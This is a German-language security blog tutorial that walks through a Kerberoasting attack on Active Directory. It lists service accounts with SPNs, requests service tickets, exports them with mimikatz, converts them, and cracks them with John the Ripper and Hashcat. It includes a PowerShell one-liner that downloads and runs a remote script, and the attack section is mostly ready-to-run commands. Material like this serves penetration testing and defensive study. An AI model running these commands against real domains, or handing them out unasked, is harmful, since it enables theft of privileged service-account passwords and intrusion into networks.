Active Directory Hacking: Angriffe mit mimikatz - Kerberoasting

Active Directory Hacking: Angriffe mit mimikatz - Kerberoasting

Beitragsseiten

Kerberoasting

Bei Kerberoasting geht es drum, Passwort-Hashes von privilegierten Service-Accounts mittels Brute-Force zu knacken, um so an entsprechende Klartext-Passwörter zu gelangen. Dabei zielt diese Technik vor allem auf „Sonderfälle“ ab, bei denen ein von Hand angelegter Service-Account mit einem SPN verknüpft wurde, so dass zur Verschlüsselung nicht das standardmäßig starke, 120-Zeichen lange Passwort des Computer$-Accounts, sondern das (unter Umständen schwache) Passwort des entsprechenden Service-Accounts verwendet wird.

Der Angreifer muss also zunächst wissen, welche Kerberos SPNs mit einem selbst angelegten Service-Account verknüpft sind. „Erfreulicherweise“ kann jeder Benutzer einer Domäne (ohne administrativen Rechte!) anfragen, welche SPNs es auf der Domäne gibt und mit welchen Accounts Sie verknüpft sind. Dadurch können Angreifer im Vorfeld in Erfahrung bringen, bei welchen SPNs ein solcher Angriff funktionieren könnte und bei welchen es sich nicht anzugreifen lohnt, da Sie mit dem komplexen Passwort des Computer$-Accounts verschlüsselt sind. Voraussetzung für diese Art von Angriff ist lediglich, dass der Angreifer Mitglied der Domäne ist.

Um das Prinzip zu verstehen, schauen wir uns noch einmal die Kerberos Authentifizierungsschritte an:

Kerberoasting

 

  • In Schritt 3 wird mit dem Benutzer-TGT ein Service Ticket für einen SPN (z. B. cifs@fileserver) beim TGS angefragt.

  • In Schritt 4 sendet der TGS ein mit dem Passwort des Computer$- oder Service-Accounts verschlüsselten Service-Ticket für den angefragten SPN zurück.

Diese beiden Schritte können beliebig oft für beliebige SPN wiederholt werden, ohne dass der eigentliche Zielserver (in dem o. g. Beispiel ein Fileserver) kontaktiert werden muss. Um dies nicht von Hand tun zu müssen, existieren zahlreiche Skripte im Internet.

Eines dieser Skripte ist von Tim Medin, dem Entdecker der Kerberoasting-Technik:

Kerberoasting Angriff durchführen

Variante 1: GetUserSPN + mimikatz

An dieser Stelle kommt das folgende nützliche PowerShell Skript zum Einsatz, welches alle SPNs einer Domäne auflistet, die Benutzerkonten verwenden und deshalb für Kerberoasting-Angriff geeignet wären:

https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1

Das Skript erfordert keine Administratorrechte d. h. jeder beliebige Domänenbenutzer kann es ausführen. Um das Skript direkt aus Github zu laden und auszuführen, kann folgender Powershell-Befehl verwendet werden (Hinweis: Fremde Skripte sollte man grundsätzlich immer überprüfen oder überprüfen lassen, bevor man Sie ausführt):

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1')

Nach dem Ausführen werden alle SPNs angezeigt, die mit einem selbst angelegten Service-Account verknüpft sind.

GetUserSPNs.ps1

Hat der Angreifer sein anzugreifendes SPN ermittelt, kann er sich mit folgenden Powershell-Befehlen ein Service-Ticket ausstellen lassen:

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList IIS-Benutzer/fileserver.whitehat.de:80

Kerberoasting: Service-Ticket ausstellen lassen

Das ausgestellte Ticket kann anschließend mithilfe von mimikatz aus dem RAM (Arbeitsspeicher) extrahiert werden:

kerberos::list /export

kerberos::list /export

Danach sollten sich alle extrahierten Kerberos-Tickets (mit der Dateiendung .kirbi) im Verzeichnis von mimikatz befinden. Diese .kirbi-Dateien können zu guter Letzt in ein für John-The-Ripper crackbares Format konvertiert werden. Hierfür bietet John-The-Ripper das „kirbi2john.py“ Skript. In Kali-Linux liegt es, sofern John-The-Ripper installiert ist, unter:

  • /user/share/john/kirbi2john.py

Zum Konvertieren einer .kirbi Datei könnte unter Kali-Linux also folgender Befehl eingegeben werden:

python /usr/share/john/kirbi2john.py DATEINAME.kirbi > DATEINAME.txt

kirb2john.py konvertieren für John-the-Ripper

Konvertierte Dateien können dann mittels John-The-Ripper gecrackt werden.

john --format=krb5tgs 1-40210000-benutzer1@IIS-Benutzer~fileserver.whitehat.de~80-WHITEHAT.DE.kirbi.txt --wordlist=/usr/share/wordlists/rockyou.txt

John-the-Ripper: Crack krb5tgs

Der Hash konnte erfolgreich geknackt werden. Das Klartextpasswort lautet "www.WhiteHat.de".

Variante 2: Invoke-Kerberoast

Mit dem Skript „Invoke-Kerberoast.ps1” des „PowerShell-Empire” Projekts gibt es inzwischen eine bequemere Variante, einen Kerberoasting Angriff durchzuführen. Hierbei werden praktischerweise direkt Formate erzeugt, welche mit John-The-Ripper oder Hashcat gecrackt werden können, so dass keine manuelle Konvertierung vorgenommen werden muss. Das Skript kann aus folgender Quelle bezogen werden:

https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1

Ausführen lässt sich das Skript dann wie folgt:

Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -Format Hashcat | Select-Object Hash | ConvertTo-Csv -NoTypeInformation | Out-File kerberoast-hashes.csv

Invoke-Kerberoast.ps1 für Hashcat Format

Anschließend können die zu crackenden Passwort-Hashes aus der CSV-Datei kopiert und z. B. in eine Textdatei abgelegt werden, um sie mit Hashcat zu laden. Um einen solchen Hash dann in Hashcat zu cracken, kann folgender Befehl ausgeführt werden:

hashcat -m 13100 -a0 kerberoast-hash.txt /usr/share/wordlists/rockyou.txt -O

hashcat: kerberoast hash cracken

Der Hash wurde gecrackt und das Klartextpasswort ("www.WhiteHat.de") ausgegeben.


1000 Zeichen übrig


Haftungsausschluss
«Nur wer versteht, wie Angreifer handeln, kann effektive Schutzmaßnahmen treffen.»

Die hier zur Verfügung gestellten Informationen dienen ausschließlich zu Lern- und Forschungszwecken. Der Missbrauch dieser Informationen kann zu strafrechtlichen Konsequenzen führen. Wir raten dringend davon ab und übernehmen keinerlei Haftung für etwaige Schäden.

Folge WhiteHat.de